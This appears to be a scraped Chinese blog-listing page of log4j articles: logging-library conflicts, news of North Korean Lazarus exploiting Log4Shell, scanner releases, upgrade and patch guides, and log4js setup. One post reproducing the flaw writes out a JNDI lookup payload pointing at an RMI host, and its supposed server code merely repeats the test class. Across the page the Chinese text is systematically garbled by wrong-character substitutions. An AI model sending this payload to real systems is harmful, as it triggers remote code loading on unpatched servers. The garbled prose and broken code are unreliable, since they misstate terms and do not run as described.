关于log4j:log4j冲突了解一下

spring 5之后用的spring-jcl不是一个jar包了,是一个module了,老版本的jcl不更新了,源码拿过去,外部就能够对slf4j和log4j2,之前用的是jclspring用的是log4j的,当你内部配置的是logback的时候,spring还是会依据log4j来打印日志,然而不会笼罩用户的logback的spring是看到log4j就兴奋 循环援用 : 1、log4j2 和 slf4jlog4j-to-slf4j(log4j2) : slf4j 对 log4j 接口的适配,其实说白了就是,应用固定log4j2打印的日志技术,能够通过这个适配器,就能够比如说对立日志打印技术logback log4j-slf4j-impl : 次要是 log4j 对 slf4j 接口的实现 log4j实现了slf4j接口,log4j又要适配slf4j,所以会造成一个环,slf4j指向log4j2,log4j2又指向slf4j 2、log4j1 和 slf4jlog4j-over-slf4j-1.7.32.jarslf4j-log4j12-1.7.32.jar 绑定器外面蕴含的是 : 绑定器自身(log4j1、log4j2和logback)和slf4j,能够间接应用的 slf4j-log4j12(log4j1) 绑定器log4j-slf4j-impl(log4j2) 绑定器logback-classic 绑定器

April 2, 2023 · 1 min · jiezi

关于log4j:NukeSped后门重现朝鲜黑客组织-Lazarus-利用-Log4j-漏洞攻击-VMware-Horizon-服务器

近日,AhnLab 平安应急响应核心(ASEC)在一份新报告中示意:“自 2022 年 4 月以来,黑客组织 Lazarus 始终通过 Log4j 近程代码执行破绽,在未利用安全补丁的 VMware Horizon 产品上收集窃取信息的无效负载。” 据称,这些攻打是在 4 月份首次被发现的,朝鲜黑客组织 Lazarus 利用 NukeSped 装置了一个额定的基于控制台的信息窃取恶意软件,该软件可收集存储在 Web 浏览器上的信息。 NukeSped 是一个可依据从近程攻击者管制的域接管命令以执行各种歹意流动的“后门”。最早于 2018 年夏天被发现与朝鲜黑客无关,随后被发现与黑客组织 Lazarus 策动的 2020 年流动无关。 该 NukeSped 后门的一些要害性能包含:捕获击键和截屏、拜访设施的网络摄像头、抛弃额定的有效载荷(如信息窃取者)等。 还记得去年 12 月份,互联网上忽然曝出了 Log4j2 破绽“危机”,一时间引发寰球科技巨头关注。随后,为了应答这起安全事件,不少科技公司企业都连夜修补了受影响的零碎。 (相干浏览:高危 Bug !Apache Log4j2 近程代码执行破绽:官网正加急修复中 !https://segmentfault.com/a/11...) VMware 也在去年 12 月公布了 VMware Horizon 服务器的更新版本,解决了该破绽问题,同时该公司还公布了许多其余蕴含易受攻击的 Log4j 版本的产品的更新。 尽管如此,针对 VMware Horizon 服务器的 Log4j 攻打仍旧一直继续且有增无减。越来越多的黑客及勒索组织接连在未利用安全补丁的 VMware Horizon 虚构桌面平台中大肆利用 Log4Shell 破绽来部署勒索软件及其他恶意程序包。 据微软方面证实,早在往年 1 月 4 日,就有一个名为 DEV-0401 的勒索软件团伙利用了 VMware Horizon 中的破绽(CVE-2021-44228)胜利入侵指标零碎且植入了勒索软件。 ...

May 25, 2022 · 1 min · jiezi

关于log4j:Log4j-扫描器发布微信-PC-端开始支持自动登录GitLab-146-发布-思否周刊

40s 新闻速递亚马逊 AWS 本月第三次呈现故障,影响 Slack、Epic、Asana 等服务CISA、CrowdStrike 公布 Log4j 扫描器,但仍有盲点一些苹果员工打算在平安夜罢工 抗议工作条件Azure 应用服务破绽:裸露数百个源代码存储库苹果或为 Mac 推出高价显示器,价格便宜一半微信 PC 端开始反对主动登录,不再须要手机扫码百度网盘推不限速青春版,海报宣传速度从 52MB/s 降至 2MB/s甲骨文史上最大手笔,逾 1800 亿元收买电子病历公司 CernerGitLab 14.6 公布:减少无缝天文体验、在 SAST 中反对 .NET 6Debian 11.2 公布:更新 Apache Log4j 等谬误和平安问题IntelliJ IDEA 2021.2.4 公布Krita 5.0 公布:开源 Photoshop 替代品Ember 4.0 公布行业资讯亚马逊 AWS 本月第三次呈现故障,影响 Slack、Epic、Asana 等服务12 月 22 日,亚马逊云计算部门 AWS 示意,因为数据中心断电,美国东海岸的一些用户受到了影响。停电正在影响 AWS 云服务器的可用性和连接性。亚马逊同时指出,只有一个数据中心受到了停电的影响,而其余数据中心不受影响。 亚马逊 AWS 托管着很大一部分互联网,这意味着,当 AWS 遇到问题时,连锁反应会蔓延到许多其余不同的服务。监测机构 DownDetector 数据显示,AWS 此次宕机呈现在北京工夫今晚 8 点左右,音讯服务 Slack、交易平台 Coinbase 和 Epic Games 的游戏平台均受到了影响。 CISA、CrowdStrike 公布 Log4j 扫描器,但仍有盲点针对 “史诗级” 破绽 Log4j,寰球开始自查口头。在这之中,网络安全和基础设施安全局 CISA 本周公布了本人的 Log4j 扫描器,该扫描器在平安公司 FullHunt 创立的 Log4j 扫描器根底上作了批改,反对 DNS 回调以进行破绽发现和验证,同时提供对 HTTP POST 数据参数的含糊测试、对 JSON 数据参数的含糊测试以及对 URL 列表的反对。除此之外,网络安全技术公司 CrowdStrike 相似地也公布了本人的收费 Log4j 扫描器,称为 CrowdStrike 档案扫描工具或“CAST”。  ...

December 26, 2021 · 2 min · jiezi

关于log4j:分布式-log4j2-漏洞修复方案

作者:鲍凤其 爱可生 dble 团队开发成员,次要负责 dble 需要开发,故障排查和社区问题解答。少说废话,放码过去。 本文起源:原创投稿 *爱可生开源社区出品,原创内容未经受权不得随便应用,转载请分割小编并注明起源。 dble 运行依赖许多组件的 jar 包,当遇到某个组件有破绽时,须要紧急修复。 Apache Log4j2安全漏洞阐明:https://nosec.org/home/detail... 修复计划⚠️:计划1可施行,截止至北京工夫2021年12月14日11时,log4j 官网曾经公布 2.16.0 版本,相干 release notes:https://github.com/apache/log... ⚠️:上面介绍的2,3步骤是长期缓解步骤,不排除有其余问题 1. 降级 log4j2 组件dble版本:2.19.07.x - 3.21.10.x版本,2.19.07.x之前的版本须要自行尝试替换计划,官网不再提供反对 影响:须要重启 dble 步骤: 1.1 进行 dble 1.2 将 dble 服务器上 log4j 的 jar 包进行备份并 mv 至 /tmp/ 目录下 /path/to/dble/lib 下有四个 jar 包别离是:(操作前须要确认一下) log4j-1.2-api-2.13.1.jarlog4j-api-2.13.1.jarlog4j-core-2.13.1.jarlog4j-slf4j-impl-2.13.1.jar执行上面的操作: mv log4j-1.2-api-2.13.1.jar log4j-1.2-api-2.13.1.jar.bakmv log4j-1.2-api-2.13.1.jar.bak /tmp/1.3 将 log4j 2.16.0 版本的相干 jar 包,上传到该门路下/path/to/dble/lib,并变更权限参考链接:https://repo1.maven.org/maven... ,其余jar在此网站上查找 1.4 反复1.2,1.3步骤降级其余三个jar包 1.5 启动dble 2. 增加配置dble版本:实践上全版本dble适配 影响:须要重启dble ...

December 15, 2021 · 1 min · jiezi

关于log4j:紧急继续折腾Log4j再发2160强烈建议升级

背景继前天正式公布的2.15.0之后,Apache log4j 2 团队发表 Log4j 2.16.0 公布! 因为SLF4J适配兼容性的中断,Log4j 当初公布两个版本的SLF4J to Log4j的适配器。log4j-slf4j-impl对应 SLF4J 1.7.x 及更早版本;log4j-slf4j18-impl对应SLF4J 1.8.x 及更高版本一起应用。SLF4J-2.0.0 alpha 版本目前还不齐全反对。 强烈推荐降级2.16.0。 修改谬误1、LOG4J2-3208:默认禁用 JNDI。须要 log4j2.enableJndi设置为 true 以容许 JNDI。无论是Log4j2还是其它应用了JNDI的Java类库中,在不受爱护的上下文中应用JNDI都具备一个很大的问题平安危险。 2、LOG4J2-3211:齐全删除对Message Lookups的反对。目标是采取强化措施以避免 CVE-2021-44228,此动作不是修复 CVE-2021-44228所必须的。 受破绽影响的Apache我的项目另外Apache 平安团队在明天颁布了受log4j CVE-2021-44228影响的Apache我的项目。能够依据上面列表进行排查: 我的项目是否受到影响解决方案Apache Archiva是2.2.6正式发行版将解决这个问题Apache Druid是更新到0.22.1Apache EventMesh是暂无明确计划Apache lceberg否 Apache Flink是暂无明确计划Apache Fortress是更新到2.0.7Apache Geode是更新到1.12.6,1.13.5,1.14.1Apache Guacamole否 Apache Hadoop否应用log4j 1.xApache Hive是暂无明确计划Apache Jena是暂无明确计划Apache JMeter是暂无明确计划Apache JSPWiki是暂无明确计划Apache Log4J1.2存在相似破绽参考「CVE-2021-4104]破绽,JMS调用JNDI北洞Apache Log4J2.x是更新到2.16.0Apache Log4Net否 Apache OFBiz是更新到18.12.03Apache Ozone是更新到1.2.1Apache skyWalking是更新到8.9.1Apache Solr是更新到8.11.1Apache Spark否应用log4j 1.xApache Struts是暂无明确计划Apache Tomcat否 Apache TrafficControl是暂无明确计划Apache ZooKeeper否应用log4j 1.xApache Calcite Avatica是更新到1.20.0Apache CloudStack否 在 2.15.0 版本之前,Log4j 会在模式布局(Pattern Layout)中蕴含的音讯或参数中主动解析 Lookups。这行为不再是默认值,必须通过指定启用%msg{lookup}。Apache Log4j 2.16.0至多须要Java 8能力构建和运行。Log4j 2.12.1是最初一个反对Java 7的版本。Java 7不是Log4j团队的长期反对版本。降级措施自己在前几天紧急连载了对于此破绽的修复教程: Apache Log4j任意代码执行破绽平安危险降级修复教程 ,此办法仍然无效。 ...

December 15, 2021 · 1 min · jiezi

关于log4j:Log4j惊爆高危漏洞及其解决方案

2021年12月9日20:54,Log4j惊爆“核弹级”破绽,该破绽利用老本极低,能够间接任意代码执行,并接管指标服务器,其潜在危害严重性、影响面堪称往年之最。截至目前,Log4j2“核弹级”破绽影响寰球6万多个开源软件、30余万开源软件包,影响风行开源软件TOP10:Elasticsearch、SpringFramework、Druid、Spring Cloud Alibaba、Skywalking、Sentinel、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该破绽不排除其它利用形式,后续期待官网正式补丁。破绽复现复现形式有两种:一种ldap,一种jndi;临时通过jndi复现,感兴趣的小伙伴能够试试测试类 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;/** * @Description: * @Author: wangdakai * @Date: 2021/12/13 */public class Log4jBugTest { private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class); public static void main(String[] args) { // 退出前端给你传递的参数是jndi的,且此时你打印了他的参数。 String params = "${jndi:rmi://192.168.79.149:1099/bug}"; LOGGER.error("params:{}",params); }}近程服务器,此处用本人本地ip就行,端口不要改。 package com.cn.zj;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;/** * @Description: * @Author: wangdakai * @Date: 2021/12/13 */public class Log4jBugTest { private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class); public static void main(String[] args) { // 退出前端给你传递的参数是jndi的,且此时你打印了他的参数。 String params = "${jndi:rmi://192.168.79.149:1099/bug}"; LOGGER.error("params:{}",params); }}执行共计这代码 ...

December 14, 2021 · 1 min · jiezi

关于log4j:Log4j-高危-Bug-已被连夜修复维护者为了实现向后兼容性未删除旧功能而导致漏洞

上周,Apache Log4j2 曝出的近程代码执行破绽,在寰球范畴内造成了重大影响。 (相干浏览:高危 Bug !Apache Log4j2 近程代码执行破绽:官网正加急修复中!https://segmentfault.com/a/11...) 该破绽的忽然裸露,不仅给应用 Log4j2 的框架保护人员来了个措手不及,也让开发人员们一夜之间“修复”了该问题。 作为 Apache 软件根底日志服务的 PMC 成员,Volkan Yazıcı 对于本次事件作了回应。 12月11日,Volkan 在推特发文示意:“Log4j 的保护人员们始终在不眠不休地钻研缓解措施,以修复Bug、文档、CVE、查问回复等。但没有什么能阻止人们鞭挞咱们,因为咱们的工作没有失去报酬,因为咱们都不喜爱这个性能,但出于向后兼容性的思考须要保留它。” (推特原文链接:https://twitter.com/yazicivo) 同时,Volkan 还附上了 Log4j 2.15.0 的相干链接:https://logging.apache.org/lo... 以及对破绽的修复链接:https://logging.apache.org/lo... 据他形容,自从该破绽被公开以来,保护人员始终在忙于修复该破绽,以及相应 bug、文档和 CVE 的保护工作,同时响应其他人的查问。 只管这些保护工作都是无报酬的,但他们还是受到了很多来自外界的严厉批评甚至指摘。 Volkan 提到,导致该破绽的旧性能实际上是要删除的(该破绽实质上是向 Log4j2 的查找办法中注入的 JNDI),但保留该性能是为了确保向后兼容性。 当然,也有人不批准 Volkan 的“向后兼容”准则。他示意,如果开发团队想要删除旧性能,他们基本不必犹豫,只须要做他们想做的事件;但如果应用该性能的用户认为它很重要,他们能够本人承当我的项目的工夫、精力和金钱老本,并自行保护。 Apache Log4j2 是一款基于Java的日志组件,该组件在业务零碎开发中宽泛用于记录无关程序输出和输入的日志信息,并且应用极其宽泛。在大多数状况下,开发人员会将用户输出导致的谬误音讯写入日志。 作为一个开源的底层组件,Log4j2 已被谷歌、苹果、亚马逊等许多大型互联网公司应用。 从 Volkan 推特上的评论中能够看出,不少人也才刚刚理解到,原来这些高市值、高利润的公司没有给这个根底组件提供任何反对,甚至连保护人员也都是无偿工作的。 理解到真实情况的网友们,也纷纷给保护人员们“隔空”送上了拥抱。有人就在 Volkan 推文下方评论称,“给Log4J的人送个拥抱吧。对他们来说,这肯定是一个十分蹩脚的星期五”。

December 13, 2021 · 1 min · jiezi

关于log4j:日志Log4j

1、日志1.1、日志工厂如果一个数据库操作,呈现了异样,咱们须要排错。日志就是最好的助手!已经:sout、debug当初:日志工厂! SLF4JLOG4J 【把握】LOG4J2JDK_LOGGINGCOMMONS_LOGGINGSTDOUT_LOGGING 【把握】NO_LOGGING在Mybatis中具体应用哪个日志实现,在设置中设定!STDOUT_LOGGING 在mybatis外围配置文件mybatis-config.xml中配置咱们的日志! <settings> <setting name="logImpl" value="STDOUT_LOGGING"/></settings>1.2、Log4j什么是Log4j? Log4j是Apache的一个开源我的项目,通过应用Log4j,咱们能够管制日志信息输送的目的地是控制台、文件、GUI组件咱们也能够管制每一条日志的输入格局;通过定义每一条日志信息的级别,咱们可能更加粗疏地管制日志的生成过程能够通过一个配置文件来灵便地进行配置,而不须要批改利用的代码。1.先导入Log4j的依赖 <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version></dependency>#将等级为DEBUG的日志信息输入到console和file这两个目的地,console和file的定义在上面的代码log4j.rootLogger=DEBUG,console,file#控制台输入的相干设置log4j.appender.console = org.apache.log4j.ConsoleAppenderlog4j.appender.console.Target = System.outlog4j.appender.console.Threshold=DEBUGlog4j.appender.console.layout = org.apache.log4j.PatternLayoutlog4j.appender.console.layout.ConversionPattern=[%c]-%m%n#文件输入的相干设置log4j.appender.file = org.apache.log4j.RollingFileAppenderlog4j.appender.file.File=./log/jialidun.loglog4j.appender.file.MaxFileSize=10mblog4j.appender.file.Threshold=DEBUGlog4j.appender.file.layout=org.apache.log4j.PatternLayoutlog4j.appender.file.layout.ConversionPattern=[%p][%d{yy-MM-dd}][%c]%m%n#日志输入级别log4j.logger.org.mybatis=DEBUGlog4j.logger.java.sql=DEBUGlog4j.logger.java.sql.Statement=DEBUGlog4j.logger.java.sql.ResultSet=DEBUGlog4j.logger.java.sql.PreparedStatement=DEBUG配置log4j为日志的实现 <settings> <setting name="logImpl" value="LOG4J"/></settings>简略应用1.要在应用Log4j的类中,导入import org.apache.log4j.Logger;2.日志对象,加载参数为以后类的class public class UserDaoTest{static Logger log = Logger.getLogger(UserDaoTest.class); @Test public void testLog4j(){ log.info("info:进入了testLog4j"); log.debug("debug:进入了testLog4j"); log.error("error:进入了testLog4j"); }}

June 20, 2021 · 1 min · jiezi

关于log4j:log4j升级到log4j2-项目中使用slf4j

目前市面中应用的大多数是spring boot我的项目,上面我说的计划sring也实用。在这里给大家举荐一套目前 最火的Java后端日志框架计划:门户日志用:slf4j日志实现用:log4j2 具体的配置或者优化如下详情1、导入依赖log4j2应尽量应用同一版本,否则可能呈现不兼容的状况 // log降级配置 compile('org.apache.logging.log4j:log4j-1.2-api:2.9.1') compile('org.apache.logging.log4j:log4j-web:2.9.1') compile('org.apache.logging.log4j:log4j-core:2.9.1') compile('org.apache.logging.log4j:log4j-api:2.9.1') // log // compile('log4j:log4j:1.2.17') compile('org.slf4j:slf4j-api:1.6.6') compile('org.slf4j:slf4j-log4j12:1.7.21')2、创立log4j2.properties(如果有log4j.properties要删除的)(上面还有一种应用log4j.xml的办法,两种任选其一,当初是偏向于用xml) status = warnname = MyApp#指定输入源‘类型’为控制台appender.console.type = Consoleappender.console.name = consoleLogDemoappender.console.filter.threshold.type = ThresholdFilterappender.console.filter.threshold.level = debugappender.console.layout.type = PatternLayoutappender.console.layout.pattern = [%-5p] [%d{yyyy-MM-dd HH:mm:ss}] [%C{1}:%M:%L] %m%nappender.console.target = System_outappender.rolling.type = RollingFileappender.rolling.name = fileLogDemoappender.rolling.filter.threshold.type = ThresholdFilterappender.rolling.filter.threshold.level = infoappender.rolling.layout.type = PatternLayoutappender.rolling.layout.pattern = [%-5p] [%d{yyyy-MM-dd HH:mm:ss}] [%C{1}:%M:%L] %m%nappender.rolling.append = trueappender.rolling.fileName =/data/logs/workflow/web.logappender.rolling.filePattern=/data/logs/wokflow/web.log.%d{yyyy-MM-dd}appender.rolling.policies.type = Policiesappender.rolling.policies.time.type = TimeBasedTriggeringPolicyappender.rolling.policies.time.interval = 2appender.rolling.policies.time.modulate = trueappender.rolling.policies.size.type = SizeBasedTriggeringPolicyappender.rolling.policies.size.size=100MBappender.rolling.strategy.type = DefaultRolloverStrategyappender.rolling.strategy.max = 5logger.rolling.name = com.XXXlogger.rolling.level = infologger.rolling.additivity = falselogger.rolling.appenderRef.rolling.ref = fileLogDemo#指明根级日志的级别rootLogger.level = info#指定哪些appender输入源是根级日志的输入级别rootLogger.appenderRef.consolelogdemo.ref = consoleLogDemorootLogger.appenderRef.filelogdemo.ref = fileLogDemo3、log4j2.xml ...

May 26, 2021 · 2 min · jiezi

Koa日志中间件封装开发

Koa日志中间件开发封装对于一个服务器应用来说,日志的记录是必不可少的,我们需要使用其记录项目程序每天都做了什么,什么时候发生过错误,发生过什么错误等等,便于日后回顾、实时掌握服务器的运行状态,还原问题场景。日志的作用记录服务器程序运行状态;帮助开发者快速捕获错误,定位以及决解故障。日志中间件开发工具log4js在node当中没有自带的日志模块,所以需要使用第三方模块使用模块:log4js安装: npm i log4js -Slogsjs官方文档日志分类:访问日志: 记录客户端对项目的访问,主要是 http 请求。用于帮助改进和提升网站的性能和用户体验;应用日志: 项目标记和记录位置打印的日志,包括出现异常情况,方便查询项目的运行状态和定位bug(包含了debug、info、warn 和 error等级别)。日志等级如果配置了日志等级,则其只能记录日志等级比设置的更高级别的日志信息日志等级图如配置level: ’error’,则只能输出error,fatar,mark级别的日志信息日志中间件开发设置需要日志需要记录的信息段(log_info.js)export default (ctx, message, commonInfo) => { const { method, // 请求方法 url, // 请求链接 host, // 发送请求的客户端的host headers // 请求中的headers } = ctx.request; const client = { method, url, host, message, referer: headers[‘referer’], // 请求的源地址 userAgent: headers[‘user-agent’] // 客户端信息 设备及浏览器信息 } return JSON.stringify(Object.assign(commonInfo, client));}设置通用获取配置后的log4js对象(logger.js)const getLog = ({env, appLogLevel, dir}, name) => { //log4js基本说明配置项,可自定义设置键名,用于categories.appenders自定义选取 let appenders = { // 自定义配置项1 cheese: { type: ‘dateFile’, //输出日志类型 filename: ${dir}/task, //输出日志路径 pattern: ‘-yyyy-MM-dd.log’, //日志文件后缀名(task-2019-03-08.log) alwaysIncludePattern: true } } // 如果为开发环境配置在控制台上打印信息 if (env === “dev” || env === “local” || env === “development”) { // 自定义配置项2 appenders.out = { type: “stdout” } } // log4js配置 let config = { appenders, //作为getLogger方法获取log对象的键名,default为默认使用 categories: { default: { appenders: Object.keys(appenders), // 取appenders中的说有配置项 level: appLogLevel } } } log4js.configure(config) //使用配置项 return log4js.getLogger(name)// 这个cheese参数值先会在categories中找,找不到就会默认使用default对应的appenders,信息会输出到yyyyMMdd-out.log}log日志中间件开发(logger.js)export default (options) => { const contextLogger = {}; //后期赋值给ctx.log const { env, appLogLevel, dir, serverIp, projectName } = Object.assign({}, baseInfo, options || {}); // 取出通用配置(项目名,服务器请求IP) const commonInfo = { projectName, serverIp }; const logger = getLog({env, appLogLevel, dir},‘cheese’); return async (ctx, next) => { const start = Date.now(); //日志记录开始时间 // 将日志类型赋值ctx.log,后期中间件特殊位置需要记录日志,可直接使用ctx.log.error(err)记录不同类型日志 methods.forEach((method, i) => { contextLogger[method] = (message) => { logger[method](logInfo(ctx, message, commonInfo)) } }) ctx.log = contextLogger; // 执行中间件 await next() // 结束时间 const responseTime = Date.now() - start; // 将执行时间记录logger.info logger.info(logInfo(ctx, { responseTime: 响应时间为${responseTime/1000}s }, commonInfo) ) }}中间件使用(app.js)import Log from ‘../log/logger’;…app.use(Log({ env: app.env, // koa 提供的环境变量 projectName: ‘back-API’, appLogLevel: ‘debug’, dir: ’logs’, serverIp: ip.address() }))其他特殊位置需要日志记录使用ctx.log.error(err.stack); //记录错误日志ctx.log.info(err.stack); // 记录信息日志ctx.log.warn(err.stack); // 记录警告日志…运行截图log4js使用基本配置和流程解析设置配置项,// 配置项形式{ appenders:{ [自定义key]:{} }, categories:{ }}// 配置config: { appenders:{ // 每一个属性可以看作为一个配置模块 out: { type: ‘dateFile’, //输出日志类型 filename: log/task, //输出日志路径 pattern: ‘-yyyy-MM-dd.log’, //日志文件后缀名(task-2019-03-08.log) …//具体配置看官网 }, error: { type: ‘dateFile’, filename: ’log/error’, pattern: ‘-yyyy-MM-dd.log’’, “alwaysIncludePattern”: true }, stdout: { type: ‘stdout’ }, //在控制台上打印信息 }, // 通过categories来取出给log4js按需配置,返回配置后的log4js对象,每个属性配置相当于一个不同的log4js配置对象入口;default为默认入口(getLogger()找不到入口时默认使用default) categories:{ // 配置默认入口,使用appenders中的’stdout’,‘out’配置模块,记录trace以上等级日志 default: { appenders: [‘stdout’,‘out’], level: ’trace’ }, // 配置error门入口,使用appenders中的’stdout’,’err’配置模块,记录error以上等级日志 error : {appenders: [’err’], level: ’error’} }}使用let logger_out = log4js.getLogger(‘app’);log4js.getLogger(‘app’)查找特定log4js对象流程:先根据app参数值在categories中找,发现没有app,然后就会默认使用default对应的appenders进行配置,即信息会输出到log/task-yyyy-mm-dd.log文件中,并且会输出到控制台使用let logger_out = log4js.getLogger(’error’);根据error参数值在categories中找,发现没有拥有error配置,然后就会使用error对应的appenders进行配置,即信息会输出到log/error-yyyy-mm-dd.log文件中,因为error的配置项appenders中没有使用stdout模块,所以信息不会输出到控制台后期考虑是否需要对日志进行数据库存储,进行日志持久化;考虑到不可能对日志记录后一直保存,对于一个月或者一周以前的日志可能没有必要在进行存储了,需要开发设置定时自动删除过期日志文件(获数据库日志记录)参考:log4js配置Node.js 之 log4js 完全讲解学无止境,积累点滴;把小简单变成大简单。如果这篇文章对你有所收获,请留在你的小心心!往期文章推荐:React你知多少Git常用操作 ...

March 8, 2019 · 2 min · jiezi

ThinkGo:一个轻量级的 Go 语言 MVC 框架

ThinkGo 是一个轻量级的 Go 语言 MVC 框架,目前支持路由、中间件、控制器、请求、响应、Session、视图、日志、缓存、ORM等 web 框架应该具备的基本功能,ThinkGo致力于让代码简洁且富于表达力,帮助开发者快速构建一个 Web 应用。特性简洁的路由,支持参数注入强大的路由中间件,支持前置/后置中间件Session支持,支持cookie、redis及自定义存储强大的日志服务,支持多通道存储,遵循RFC 5424规范。缓存,支持memory、redis及自定义缓存驱动简洁的ORM,能使用原生 SQL、流畅的查询构造器安装go get github.com/thinkoner/thinkgo快速开始package mainimport ( “github.com/thinkoner/thinkgo” “fmt” “github.com/thinkoner/thinkgo/router” “github.com/thinkoner/thinkgo/context”)func main() { app := thinkgo.BootStrap() app.RegisterRoute(func(route *router.Route) { route.Get("/", func(req *context.Request) *context.Response { return thinkgo.Text(“Hello ThinkGo !”) }) route.Get("/ping", func(req *context.Request) *context.Response { return thinkgo.Json(map[string]string{ “message”: “pong”, }) }) // Dependency injection route.Get("/user/{name}", func(req *context.Request, name string) *context.Response { return thinkgo.Text(fmt.Sprintf(“Hello %s !”, name)) }) }) // listen and serve on 0.0.0.0:9011 app.Run()}协议ThinkGo 采用 Apache 2.0 开源协议发布。项目地址GitHub: https://github.com/thinkoner/...Gitee: https://gitee.com/thinkgo/thi…联系作者https://github.com/thinkoner/… ...

February 12, 2019 · 1 min · jiezi

log4j: log4j:ERROR Attempted to append to closed appender named [stdout]

log4j: log4j:ERROR Attempted to append to closed appender named [stdout]发给现场用的jar包却发现报上面的错,可是在家里电脑上却无法复现出来,果断搜索,才发现原来是多个log4j.properties文件引起的。删除其中一个就行了。另外如果你那里也遇到了相同的问题,但是只有一个log4j.properties,那么你就要看看自己的程序里面是不是有两种方式获取log4j对象(一种是直接放到了classpath文件夹,另一种是通过PropertyConfigurator.configure(..)这种方式)

October 26, 2017 · 1 min · jiezi